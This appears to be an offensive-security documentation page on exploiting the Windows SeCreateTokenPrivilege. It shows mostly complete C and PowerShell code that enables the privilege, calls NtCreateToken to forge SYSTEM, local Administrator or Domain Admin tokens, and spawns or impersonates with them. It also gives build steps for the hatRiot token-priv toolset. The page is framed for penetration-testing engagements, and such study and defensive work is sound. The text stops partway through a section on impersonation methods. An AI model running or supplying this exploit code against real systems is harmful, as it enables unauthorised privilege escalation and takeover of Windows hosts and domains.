> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# SeCreateTokenPrivilege

> Deep exploitation of SeCreateTokenPrivilege — forge arbitrary access tokens with NtCreateToken, impersonate any identity, escalate to SYSTEM or Domain Admin.

## Overview

`SeCreateTokenPrivilege` allows a process to call the `NtCreateToken` syscall and create an entirely new access token from scratch. Unlike token duplication (which copies an existing token), this forges a token with arbitrary user SID, group memberships, privileges, and integrity level. You become whoever you want.

This is one of the most powerful privileges in Windows. It is the digital equivalent of a blank government ID printer.

### Who Has It by Default

| Principal             | Has SeCreateTokenPrivilege                                         |
| --------------------- | ------------------------------------------------------------------ |
| `NT AUTHORITY\SYSTEM` | Yes                                                                |
| `lsass.exe`           | Yes (the only user-mode process that normally calls NtCreateToken) |
| `Administrators`      | No                                                                 |
| Standard users        | No                                                                 |
| Service accounts      | No (unless explicitly granted via `secpol.msc` or GPO)             |

In practice, almost nothing has this privilege. You will encounter it on:

* Custom service accounts with misconfigured security policy
* Third-party authentication/SSO products that create tokens for logged-on users
* Backup/imaging software that restores user profiles with original SIDs
* Compromised LSASS or SYSTEM contexts where you want to forge identities

<Note>
  If you have this privilege, you have won. The only question is what identity to forge. SYSTEM, Domain Admin, Enterprise Admin — pick one.
</Note>

***

## Check if Enabled

```cmd theme={"dark"}
whoami /priv | findstr /i "SeCreateTokenPrivilege"
```

```powershell theme={"dark"}
(whoami /priv /fo csv | ConvertFrom-Csv) | Where-Object { $_.'Privilege Name' -eq 'SeCreateTokenPrivilege' }
```

Expected output when exploitable:

```
SeCreateTokenPrivilege        Create a token object                 Enabled
```

If the state shows **Disabled**, the privilege is present in your token but not yet activated. You must enable it programmatically before calling `NtCreateToken`:

```powershell theme={"dark"}
$code = @'
using System;
using System.Runtime.InteropServices;

public class PrivEnable {
    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool LookupPrivilegeValue(string host, string name, ref long luid);

    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool AdjustTokenPrivileges(IntPtr token, bool disableAll, ref TOKEN_PRIVILEGES newState, int len, IntPtr prev, IntPtr rLen);

    [DllImport("advapi32.dll", SetLastError=true)]
    static extern bool OpenProcessToken(IntPtr process, uint access, out IntPtr token);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    [StructLayout(LayoutKind.Sequential, Pack=1)]
    struct TOKEN_PRIVILEGES { public int Count; public long Luid; public int Attr; }

    public static void Enable(string privilege) {
        IntPtr token;
        OpenProcessToken(GetCurrentProcess(), 0x0028, out token);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES { Count = 1, Attr = 2 };
        LookupPrivilegeValue(null, privilege, ref tp.Luid);
        AdjustTokenPrivileges(token, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }
}
'@
Add-Type -TypeDefinition $code
[PrivEnable]::Enable("SeCreateTokenPrivilege")
```

Verify:

```cmd theme={"dark"}
whoami /priv | findstr /i "SeCreateTokenPrivilege"
```

<Note>
  Even when Disabled, the privilege only needs to be **present** in your token. Disabled is a soft toggle — any process can enable its own privileges via `AdjustTokenPrivileges`. If the privilege is not listed at all, you cannot use this technique.
</Note>

***

## How It Works Technically

### The NtCreateToken Syscall

`NtCreateToken` is an undocumented ntdll function that creates a brand new access token. It is the only API that can build a token from individual components rather than deriving one from an existing logon session.

Function signature:

```c theme={"dark"}
NTSTATUS NtCreateToken(
    OUT PHANDLE             TokenHandle,        // receives the new token
    IN ACCESS_MASK          DesiredAccess,       // TOKEN_ALL_ACCESS (0xF01FF)
    IN POBJECT_ATTRIBUTES   ObjectAttributes,    // NULL or security descriptor
    IN TOKEN_TYPE           TokenType,           // TokenPrimary (1) or TokenImpersonation (2)
    IN PLUID                AuthenticationId,    // logon session ID (SYSTEM_LUID = 0x3e7)
    IN PLARGE_INTEGER       ExpirationTime,      // token expiry (set far future)
    IN PTOKEN_USER          User,                // the SID this token represents
    IN PTOKEN_GROUPS        Groups,              // group SIDs (Administrators, SYSTEM, etc.)
    IN PTOKEN_PRIVILEGES    Privileges,          // which privileges the token holds
    IN PTOKEN_OWNER         Owner,               // default owner SID for new objects
    IN PTOKEN_PRIMARY_GROUP PrimaryGroup,        // primary group SID
    IN PTOKEN_DEFAULT_DACL  DefaultDacl,         // default DACL for new objects
    IN PTOKEN_SOURCE        TokenSource          // 8-byte name ("NtCreate" or similar)
);
```

### What Each Parameter Controls

| Parameter          | What It Does                                    | Exploitation Impact                                                                     |
| ------------------ | ----------------------------------------------- | --------------------------------------------------------------------------------------- |
| `TokenType`        | Primary (for process creation) or Impersonation | Use `TokenPrimary` to spawn processes, `TokenImpersonation` to steal identity in-thread |
| `AuthenticationId` | Links to a logon session                        | Use `SYSTEM_LUID` (0x3e7) or `ANONYMOUS_LOGON_LUID` (0x3e6)                             |
| `User`             | The token's user SID                            | Set to `S-1-5-18` (SYSTEM) or any user SID you want to be                               |
| `Groups`           | All group memberships                           | Add `S-1-5-32-544` (Administrators), `S-1-5-18` (SYSTEM), domain groups                 |
| `Privileges`       | Every privilege in the token                    | Add all privileges — `SeDebugPrivilege`, `SeTcbPrivilege`, everything                   |
| `Owner`            | Default owner for objects created by the token  | Set to Administrators SID                                                               |
| `PrimaryGroup`     | Primary group for new objects                   | Set to SYSTEM or Administrators                                                         |
| `DefaultDacl`      | ACL applied to new objects                      | Permissive DACL or NULL                                                                 |
| `TokenSource`      | 8-char identifier logged in events              | Can set to anything — `"NtCreate"`, `"User32"`, etc.                                    |

### Why the Kernel Trusts This

The kernel checks exactly one thing before allowing `NtCreateToken`: does the calling token have `SeCreateTokenPrivilege` enabled? If yes, the syscall proceeds and builds whatever token you specify. There is no validation that the SIDs are legitimate, that the user exists, or that the privileges make sense. The kernel trusts you completely.

This is by design — LSASS uses `NtCreateToken` after authenticating users to build their logon tokens. The assumption is that only LSASS would ever have this privilege.

***

## Why It Is Extremely Dangerous

With `SeCreateTokenPrivilege`, you can forge a token that:

1. **Impersonates any local user** — `Administrator`, `SYSTEM`, `DefaultAccount`
2. **Claims membership in any group** — `BUILTIN\Administrators`, `NT AUTHORITY\SYSTEM`, `Domain Admins`
3. **Holds every privilege** — all 35+ Windows privileges enabled, including `SeTcbPrivilege`, `SeDebugPrivilege`, `SeAssignPrimaryTokenPrivilege`
4. **Operates at SYSTEM integrity** — bypasses UAC, mandatory integrity checks
5. **Uses any logon session** — including the SYSTEM logon session (LUID 0x3e7)
6. **Cannot be distinguished from legitimate tokens** — the kernel treats forged tokens identically to tokens created by LSASS

There is no higher privilege escalation path in Windows user-mode. This privilege is equivalent to being LSASS itself.

***

## Using token-priv Toolset (hatRiot)

The `token-priv` project by hatRiot is the primary offensive toolset for exploiting Windows token privileges, including `SeCreateTokenPrivilege`.

### Download

```bash theme={"dark"}
git clone https://github.com/hatRiot/token-priv
cd token-priv
```

### Project Structure

```
token-priv/
├── poptoke/              # C++ token manipulation library
│   ├── poptoke.cpp       # Core NtCreateToken implementation
│   └── poptoke.h         # Structures and function pointers
├── abusing_token_priv.pdf  # Whitepaper explaining each privilege
└── README.md
```

### Compile with Visual Studio

```cmd theme={"dark"}
:: Open Developer Command Prompt for VS 2019/2022
cl.exe /EHsc /W4 poptoke.cpp /link /OUT:poptoke.exe advapi32.lib ntdll.lib
```

Or open the solution in Visual Studio and build Release x64.

### Usage — Forge a SYSTEM Token

The tool resolves `NtCreateToken` dynamically from ntdll and calls it with attacker-controlled parameters:

```cmd theme={"dark"}
poptoke.exe
```

The default behavior creates a token with SYSTEM-level access and spawns a new command prompt running under that token.

<Note>
  The `token-priv` toolset focuses on demonstrating each privilege abuse individually. For production use during engagements, you may need to modify the source to customize the forged token's SIDs, groups, and target process. The whitepaper (`abusing_token_priv.pdf`) in the repo documents the exact API calls and structures needed.
</Note>

***

## Manual Exploitation — C Implementation

Full implementation of `NtCreateToken` to forge an arbitrary token. This is the core technique regardless of which tool you use.

### Resolving NtCreateToken

`NtCreateToken` is not exported by any import library. Resolve it at runtime from ntdll:

```c theme={"dark"}
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtCreateToken)(
    PHANDLE TokenHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    TOKEN_TYPE TokenType,
    PLUID AuthenticationId,
    PLARGE_INTEGER ExpirationTime,
    PTOKEN_USER User,
    PTOKEN_GROUPS Groups,
    PTOKEN_PRIVILEGES Privileges,
    PTOKEN_OWNER Owner,
    PTOKEN_PRIMARY_GROUP PrimaryGroup,
    PTOKEN_DEFAULT_DACL DefaultDacl,
    PTOKEN_SOURCE TokenSource
);

pNtCreateToken NtCreateToken = (pNtCreateToken)GetProcAddress(
    GetModuleHandleA("ntdll.dll"), "NtCreateToken"
);
```

### Required SID Definitions

```c theme={"dark"}
// Well-known SIDs you will use repeatedly
// S-1-5-18 — NT AUTHORITY\SYSTEM
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID pSystemSid, pAdminsSid, pWorldSid, pLocalSid, pInteractiveSid, pAuthenticatedSid;

// SYSTEM user SID: S-1-5-18
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_LOCAL_SYSTEM_RID,                          // 18
    0, 0, 0, 0, 0, 0, 0, &pSystemSid);

// BUILTIN\Administrators: S-1-5-32-544
AllocateAndInitializeSid(&NtAuthority, 2,
    SECURITY_BUILTIN_DOMAIN_RID,                        // 32
    DOMAIN_ALIAS_RID_ADMINS,                            // 544
    0, 0, 0, 0, 0, 0, &pAdminsSid);

// Everyone: S-1-1-0
SID_IDENTIFIER_AUTHORITY WorldAuthority = SECURITY_WORLD_SID_AUTHORITY;
AllocateAndInitializeSid(&WorldAuthority, 1,
    SECURITY_WORLD_RID,                                 // 0
    0, 0, 0, 0, 0, 0, 0, &pWorldSid);

// NT AUTHORITY\Authenticated Users: S-1-5-11
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_AUTHENTICATED_USER_RID,                    // 11
    0, 0, 0, 0, 0, 0, 0, &pAuthenticatedSid);

// CONSOLE LOGON / INTERACTIVE: S-1-5-4
AllocateAndInitializeSid(&NtAuthority, 1,
    SECURITY_INTERACTIVE_RID,                           // 4
    0, 0, 0, 0, 0, 0, 0, &pInteractiveSid);

// LOCAL: S-1-2-0
SID_IDENTIFIER_AUTHORITY LocalAuthority = SECURITY_LOCAL_SID_AUTHORITY;
AllocateAndInitializeSid(&LocalAuthority, 1,
    SECURITY_LOCAL_RID,                                 // 0
    0, 0, 0, 0, 0, 0, 0, &pLocalSid);
```

### Building the TOKEN\_GROUPS Structure

```c theme={"dark"}
// Allocate TOKEN_GROUPS with enough space for all groups
#define NUM_GROUPS 6
DWORD groupsSize = sizeof(TOKEN_GROUPS) + (NUM_GROUPS - 1) * sizeof(SID_AND_ATTRIBUTES);
PTOKEN_GROUPS pGroups = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, groupsSize);
pGroups->GroupCount = NUM_GROUPS;

// Mandatory groups — must have SE_GROUP_ENABLED | SE_GROUP_MANDATORY
#define ENABLED_GROUP (SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY)

pGroups->Groups[0].Sid = pAdminsSid;            // Administrators
pGroups->Groups[0].Attributes = ENABLED_GROUP | SE_GROUP_OWNER;

pGroups->Groups[1].Sid = pWorldSid;             // Everyone
pGroups->Groups[1].Attributes = ENABLED_GROUP;

pGroups->Groups[2].Sid = pLocalSid;             // LOCAL
pGroups->Groups[2].Attributes = ENABLED_GROUP;

pGroups->Groups[3].Sid = pInteractiveSid;       // INTERACTIVE
pGroups->Groups[3].Attributes = ENABLED_GROUP;

pGroups->Groups[4].Sid = pAuthenticatedSid;     // Authenticated Users
pGroups->Groups[4].Attributes = ENABLED_GROUP;

pGroups->Groups[5].Sid = pSystemSid;            // SYSTEM
pGroups->Groups[5].Attributes = ENABLED_GROUP;
```

### Building the TOKEN\_PRIVILEGES Structure

```c theme={"dark"}
// Add every dangerous privilege
LUID luid;
#define NUM_PRIVS 7
DWORD privsSize = sizeof(TOKEN_PRIVILEGES) + (NUM_PRIVS - 1) * sizeof(LUID_AND_ATTRIBUTES);
PTOKEN_PRIVILEGES pPrivileges = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, privsSize);
pPrivileges->PrivilegeCount = NUM_PRIVS;

struct { const char* name; int index; } privList[] = {
    {"SeAssignPrimaryTokenPrivilege", 0},
    {"SeTcbPrivilege",                1},
    {"SeDebugPrivilege",              2},
    {"SeImpersonatePrivilege",        3},
    {"SeBackupPrivilege",             4},
    {"SeRestorePrivilege",            5},
    {"SeTakeOwnershipPrivilege",      6},
};

for (int i = 0; i < NUM_PRIVS; i++) {
    LookupPrivilegeValueA(NULL, privList[i].name, &luid);
    pPrivileges->Privileges[privList[i].index].Luid = luid;
    pPrivileges->Privileges[privList[i].index].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
}
```

### Calling NtCreateToken

```c theme={"dark"}
HANDLE hToken = NULL;
LUID systemLuid = SYSTEM_LUID;  // { 0x3e7, 0x0 }
LARGE_INTEGER expiry;
expiry.QuadPart = -1;           // never expires (0xFFFFFFFFFFFFFFFF relative)

TOKEN_USER tokenUser;
tokenUser.User.Sid = pSystemSid;        // we are SYSTEM
tokenUser.User.Attributes = 0;

TOKEN_OWNER tokenOwner;
tokenOwner.Owner = pAdminsSid;          // objects owned by Administrators

TOKEN_PRIMARY_GROUP tokenPrimaryGroup;
tokenPrimaryGroup.PrimaryGroup = pSystemSid;

TOKEN_SOURCE tokenSource;
memcpy(tokenSource.SourceName, "Exploit", 8);  // 8-char max
AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);

// Optional: default DACL — grant SYSTEM and Administrators full access
// NULL DefaultDacl works for most exploitation scenarios
TOKEN_DEFAULT_DACL tokenDefaultDacl;
tokenDefaultDacl.DefaultDacl = NULL;

NTSTATUS status = NtCreateToken(
    &hToken,                    // OUT — new token handle
    TOKEN_ALL_ACCESS,           // full access to the token
    NULL,                       // no object attributes
    TokenPrimary,               // primary token (can create processes)
    &systemLuid,                // SYSTEM logon session
    &expiry,                    // never expires
    &tokenUser,                 // user = SYSTEM
    pGroups,                    // groups = Administrators, SYSTEM, etc.
    pPrivileges,                // all dangerous privileges
    &tokenOwner,                // owner = Administrators
    &tokenPrimaryGroup,         // primary group = SYSTEM
    &tokenDefaultDacl,          // default DACL
    &tokenSource                // source name
);

if (status == 0) {
    printf("[+] Token forged successfully. Handle: %p\n", hToken);
} else {
    printf("[-] NtCreateToken failed: 0x%08X\n", status);
}
```

***

## Forging an Administrators Token

Create a token that identifies as the local Administrator with full group memberships. Use this when you need local admin access on a standalone machine.

### SIDs Needed

| SID                      | Identity               | Purpose                      |
| ------------------------ | ---------------------- | ---------------------------- |
| `S-1-5-21-<machine>-500` | Local Administrator    | Token user identity          |
| `S-1-5-32-544`           | BUILTIN\Administrators | Local admin group            |
| `S-1-1-0`                | Everyone               | Standard group               |
| `S-1-5-11`               | Authenticated Users    | Standard group               |
| `S-1-5-4`                | INTERACTIVE            | Logon type                   |
| `S-1-5-15`               | This Organization      | Standard group               |
| `S-1-16-12288`           | High Mandatory Level   | Integrity level (bypass UAC) |

### Get Machine SID

```cmd theme={"dark"}
:: Get local Administrator SID (includes machine SID prefix)
wmic useraccount where name='Administrator' get sid
```

```powershell theme={"dark"}
(Get-LocalUser -Name "Administrator").SID.Value
```

Output example: `S-1-5-21-3623811015-3361044348-30300820-500`

The machine SID is everything except the final RID: `S-1-5-21-3623811015-3361044348-30300820`

### Forge the Token

```c theme={"dark"}
// Build Administrator user SID from the machine SID
// S-1-5-21-3623811015-3361044348-30300820-500
PSID pAdminUserSid;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 3623811015, 3361044348, 30300820, 500,
    0, 0, 0, &pAdminUserSid);

TOKEN_USER tokenUser;
tokenUser.User.Sid = pAdminUserSid;
tokenUser.User.Attributes = 0;

// Use a local logon session LUID instead of SYSTEM_LUID
// This makes the token appear as a standard interactive logon
LUID authLuid = ANONYMOUS_LOGON_LUID;  // or use SYSTEM_LUID for maximum access

// Call NtCreateToken with these parameters
// Groups: Administrators, Everyone, Authenticated Users, INTERACTIVE
// Privileges: all dangerous ones
```

### Spawn an Admin Shell

```c theme={"dark"}
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;

CreateProcessWithTokenW(
    hToken,                         // forged Administrator token
    LOGON_WITH_PROFILE,             // load user profile
    L"C:\\Windows\\System32\\cmd.exe",
    NULL,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi
);
```

***

## Forging a SYSTEM Token

The most common target. SYSTEM has unrestricted access to the local machine.

### Required Parameters

```c theme={"dark"}
// User: NT AUTHORITY\SYSTEM (S-1-5-18)
TOKEN_USER tokenUser;
tokenUser.User.Sid = pSystemSid;    // S-1-5-18
tokenUser.User.Attributes = 0;

// Authentication ID: SYSTEM logon session
LUID authLuid = SYSTEM_LUID;        // { 0x3e7, 0x0 }

// Groups must include:
// S-1-5-32-544  BUILTIN\Administrators        SE_GROUP_ENABLED | SE_GROUP_OWNER
// S-1-1-0       Everyone                       SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-5-11      Authenticated Users            SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-5-18      SYSTEM                         SE_GROUP_ENABLED | SE_GROUP_MANDATORY
// S-1-16-16384  System Mandatory Level          SE_GROUP_INTEGRITY | SE_GROUP_INTEGRITY_ENABLED

// Privileges: everything SYSTEM normally has
// SeAssignPrimaryTokenPrivilege, SeBackupPrivilege, SeDebugPrivilege,
// SeImpersonatePrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege,
// SeTcbPrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege,
// SeSecurityPrivilege, SeSystemEnvironmentPrivilege, SeManageVolumePrivilege,
// SeIncreaseBasePriorityPrivilege, SeIncreaseQuotaPrivilege,
// SeShutdownPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege,
// SeUndockPrivilege, SeProfileSingleProcessPrivilege, SeCreateGlobalPrivilege,
// SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeLockMemoryPrivilege
```

### Full C Code — Forge SYSTEM Token and Spawn cmd.exe

```c theme={"dark"}
#include <windows.h>
#include <stdio.h>

// NtCreateToken typedef (see above for full signature)
typedef NTSTATUS (NTAPI *pNtCreateToken)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, TOKEN_TYPE,
    PLUID, PLARGE_INTEGER, PTOKEN_USER, PTOKEN_GROUPS,
    PTOKEN_PRIVILEGES, PTOKEN_OWNER, PTOKEN_PRIMARY_GROUP,
    PTOKEN_DEFAULT_DACL, PTOKEN_SOURCE
);

int main() {
    // Resolve NtCreateToken
    pNtCreateToken NtCreateToken = (pNtCreateToken)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtCreateToken");

    if (!NtCreateToken) {
        printf("[-] Failed to resolve NtCreateToken\n");
        return 1;
    }

    // Enable SeCreateTokenPrivilege in current process
    HANDLE hProcessToken;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hProcessToken);
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValueA(NULL, "SeCreateTokenPrivilege", &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hProcessToken, FALSE, &tp, 0, NULL, NULL);
    CloseHandle(hProcessToken);

    // Build SYSTEM SID (S-1-5-18)
    SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
    PSID pSystemSid;
    AllocateAndInitializeSid(&NtAuth, 1, 18, 0, 0, 0, 0, 0, 0, 0, &pSystemSid);

    // Build Administrators SID (S-1-5-32-544)
    PSID pAdminsSid;
    AllocateAndInitializeSid(&NtAuth, 2, 32, 544, 0, 0, 0, 0, 0, 0, &pAdminsSid);

    // Build Everyone SID (S-1-1-0)
    SID_IDENTIFIER_AUTHORITY WorldAuth = SECURITY_WORLD_SID_AUTHORITY;
    PSID pWorldSid;
    AllocateAndInitializeSid(&WorldAuth, 1, 0, 0, 0, 0, 0, 0, 0, 0, &pWorldSid);

    // Token User = SYSTEM
    TOKEN_USER tokenUser;
    tokenUser.User.Sid = pSystemSid;
    tokenUser.User.Attributes = 0;

    // Token Groups
    BYTE groupsBuf[512] = {0};
    PTOKEN_GROUPS pGroups = (PTOKEN_GROUPS)groupsBuf;
    pGroups->GroupCount = 3;
    pGroups->Groups[0].Sid = pAdminsSid;
    pGroups->Groups[0].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT |
                                     SE_GROUP_MANDATORY | SE_GROUP_OWNER;
    pGroups->Groups[1].Sid = pWorldSid;
    pGroups->Groups[1].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
    pGroups->Groups[2].Sid = pSystemSid;
    pGroups->Groups[2].Attributes = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;

    // Token Privileges — grant everything useful
    BYTE privsBuf[512] = {0};
    PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)privsBuf;
    const char* privNames[] = {
        "SeAssignPrimaryTokenPrivilege", "SeBackupPrivilege",
        "SeDebugPrivilege", "SeImpersonatePrivilege",
        "SeRestorePrivilege", "SeTakeOwnershipPrivilege",
        "SeTcbPrivilege", "SeCreateTokenPrivilege",
        "SeLoadDriverPrivilege", "SeSecurityPrivilege",
        "SeChangeNotifyPrivilege", "SeIncreaseQuotaPrivilege",
        "SeShutdownPrivilege", "SeCreateGlobalPrivilege"
    };
    pPrivs->PrivilegeCount = 14;
    for (int i = 0; i < 14; i++) {
        LookupPrivilegeValueA(NULL, privNames[i], &pPrivs->Privileges[i].Luid);
        pPrivs->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT;
    }

    // Owner, PrimaryGroup, DefaultDacl, Source
    TOKEN_OWNER tokenOwner = { pAdminsSid };
    TOKEN_PRIMARY_GROUP tokenPG = { pSystemSid };
    TOKEN_DEFAULT_DACL tokenDacl = { NULL };

    TOKEN_SOURCE tokenSource;
    memcpy(tokenSource.SourceName, "NtCreate", 8);
    AllocateLocallyUniqueId(&tokenSource.SourceIdentifier);

    // Authentication ID and Expiry
    LUID systemLuid = SYSTEM_LUID;
    LARGE_INTEGER expiry;
    expiry.QuadPart = -1;  // never expires

    // Forge the token
    HANDLE hToken = NULL;
    NTSTATUS status = NtCreateToken(
        &hToken, TOKEN_ALL_ACCESS, NULL, TokenPrimary,
        &systemLuid, &expiry, &tokenUser, pGroups, pPrivs,
        &tokenOwner, &tokenPG, &tokenDacl, &tokenSource
    );

    if (status != 0) {
        printf("[-] NtCreateToken failed: 0x%08X\n", status);
        return 1;
    }

    printf("[+] SYSTEM token forged. Handle: %p\n", hToken);

    // Spawn cmd.exe with the forged token
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    if (CreateProcessWithTokenW(hToken, 0, L"C:\\Windows\\System32\\cmd.exe",
            NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        printf("[+] cmd.exe spawned as SYSTEM (PID: %d)\n", pi.dwProcessId);
    } else {
        printf("[-] CreateProcessWithTokenW failed: %d\n", GetLastError());
    }

    FreeSid(pSystemSid);
    FreeSid(pAdminsSid);
    FreeSid(pWorldSid);
    CloseHandle(hToken);
    return 0;
}
```

### Compile

```cmd theme={"dark"}
cl.exe /EHsc forge_system.c /link advapi32.lib ntdll.lib
```

***

## Forging a Domain Admin Token (Domain Context)

When the compromised machine is domain-joined, you can forge tokens with domain SIDs. This is devastating because no actual authentication to the DC occurs — the forged token is valid locally.

### Get the Domain SID

```cmd theme={"dark"}
whoami /user
```

Output: `CORP\svc_backup  S-1-5-21-1234567890-987654321-1122334455-1109`

Domain SID: `S-1-5-21-1234567890-987654321-1122334455`

```powershell theme={"dark"}
(Get-ADDomain).DomainSID.Value
```

Or from any domain user:

```powershell theme={"dark"}
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.AccountDomainSid.Value
```

### Key Domain SIDs

| SID                     | Identity                 |
| ----------------------- | ------------------------ |
| `S-1-5-21-<domain>-500` | Domain Administrator     |
| `S-1-5-21-<domain>-512` | Domain Admins group      |
| `S-1-5-21-<domain>-519` | Enterprise Admins group  |
| `S-1-5-21-<domain>-516` | Domain Controllers group |
| `S-1-5-21-<domain>-518` | Schema Admins group      |

### Forge Domain Admin Token

```c theme={"dark"}
// Domain SID: S-1-5-21-1234567890-987654321-1122334455
// Domain Administrator: append -500
// Domain Admins group: append -512

PSID pDomainAdminUser;
SID_IDENTIFIER_AUTHORITY NtAuth = SECURITY_NT_AUTHORITY;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 500,  // Domain Administrator
    0, 0, 0, &pDomainAdminUser);

PSID pDomainAdmins;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 512,  // Domain Admins
    0, 0, 0, &pDomainAdmins);

PSID pEnterpriseAdmins;
AllocateAndInitializeSid(&NtAuth, 5,
    21, 1234567890, 987654321, 1122334455, 519,  // Enterprise Admins
    0, 0, 0, &pEnterpriseAdmins);

// Set token user to Domain Administrator
TOKEN_USER tokenUser;
tokenUser.User.Sid = pDomainAdminUser;
tokenUser.User.Attributes = 0;

// Groups: Domain Admins, Enterprise Admins, BUILTIN\Administrators, etc.
pGroups->GroupCount = 5;
pGroups->Groups[0].Sid = pDomainAdmins;
pGroups->Groups[0].Attributes = ENABLED_GROUP | SE_GROUP_OWNER;
pGroups->Groups[1].Sid = pEnterpriseAdmins;
pGroups->Groups[1].Attributes = ENABLED_GROUP;
pGroups->Groups[2].Sid = pAdminsSid;            // BUILTIN\Administrators
pGroups->Groups[2].Attributes = ENABLED_GROUP;
pGroups->Groups[3].Sid = pWorldSid;             // Everyone
pGroups->Groups[3].Attributes = ENABLED_GROUP;
pGroups->Groups[4].Sid = pAuthenticatedSid;     // Authenticated Users
pGroups->Groups[4].Attributes = ENABLED_GROUP;
```

<Warning>
  A forged domain token is valid for **local access checks** on the compromised machine (file access, registry, service management, WMI). It will NOT authenticate to remote machines via Kerberos because no TGT exists. For network access, you still need credentials, a Kerberos ticket, or NTLM hash. Use this to escalate locally, then pivot using other techniques.
</Warning>

***

## Impersonating the Forged Token

After forging a token with `NtCreateToken`, you need to use it. There are three primary methods.

### Method 1 — ImpersonateLoggedOnUser (Current Thread)

Apply the token to the current thread. All subsequent API calls in this thread use the forged identity.

```c theme={"dark"}
// hToken = token from NtCreateToken (must be TokenImpersonation type)
// If you created TokenPrimary, duplicate it to impersonation first:
HANDLE hImpToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL,
    SecurityImpersonation, TokenImpersonation, &hImpToken);

if (ImpersonateLoggedOnUser(hImpToken)) {
    printf("[+] Now impersonating forged identity\n");
    // All operations in this thread now use forged token
    // e.g., file access, registry operations, etc.
}

// When done:
RevertToSelf();
```

```powershell theme={"dark"}
# PowerShell equivalent using Add-Type
$code = @'
using System;
using System.Runtime.InteropServices;
public class Impersonate {
    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool RevertToSelf();
}
'@
Add-Type $code

# After obtaining token handle from NtCreateToken:
[Impersonate]::ImpersonateLoggedOnUser($hToken)
whoami  # should show forged identity
[Impersonate]::RevertToSelf()
```

### Method 2 — CreateProcessWithTokenW (New Process)

Spawn a new process running under the forged token. Requires `SeImpersonatePrivilege` in the calling token (or being SYSTEM).

```c theme={"dark"}
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

// hToken must be a primary token (TokenPrimary)
BOOL result = CreateProcessWithTokenW(
    hToken,                                 // forged token
    LOGON_WITH_PROFILE,                     // load user profile
    L"C:\\Windows\\System32\\cmd.exe",      // application
    NULL,                                   // command line
    CREATE_NEW_CONSOLE,                     // creation flags
    NULL,                                   // environment (inherit)
    NULL,                                   // current directory
    &si,
    &pi
);

if (result) {
    printf("[+] Process spawned as forged identity (PID: %d)\n", pi.dwProcessId);
}
```

### Method 3 — CreateProcessAsUserW (New Process, Alternate)

Similar to `CreateProcessWithTokenW` but requires `SeAssignPrimaryTokenPrivilege` instead of `SeImpersonatePrivilege`. If your forged token includes this privilege, use it.

```c theme={"dark"}
// hToken must be a primary token
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

BOOL result = CreateProcessAsUserW(
    hToken,                                 // forged token
    L"C:\\Windows\\System32\\cmd.exe",      // application
    NULL,                                   // command line
    NULL,                                   // process security attributes
    NULL,                                   // thread security attributes
    FALSE,                                  // inherit handles
    CREATE_NEW_CONSOLE,                     // creation flags
    NULL,                                   // environment
    NULL,                                   // current directory
    &si,
    &pi
);
```

### Method 4 — SetThreadToken (Specific Thread)

Apply the forged token to a specific thread rather than using `ImpersonateLoggedOnUser`:

```c theme={"dark"}
// hImpToken must be TokenImpersonation
HANDLE hThread = GetCurrentThread();
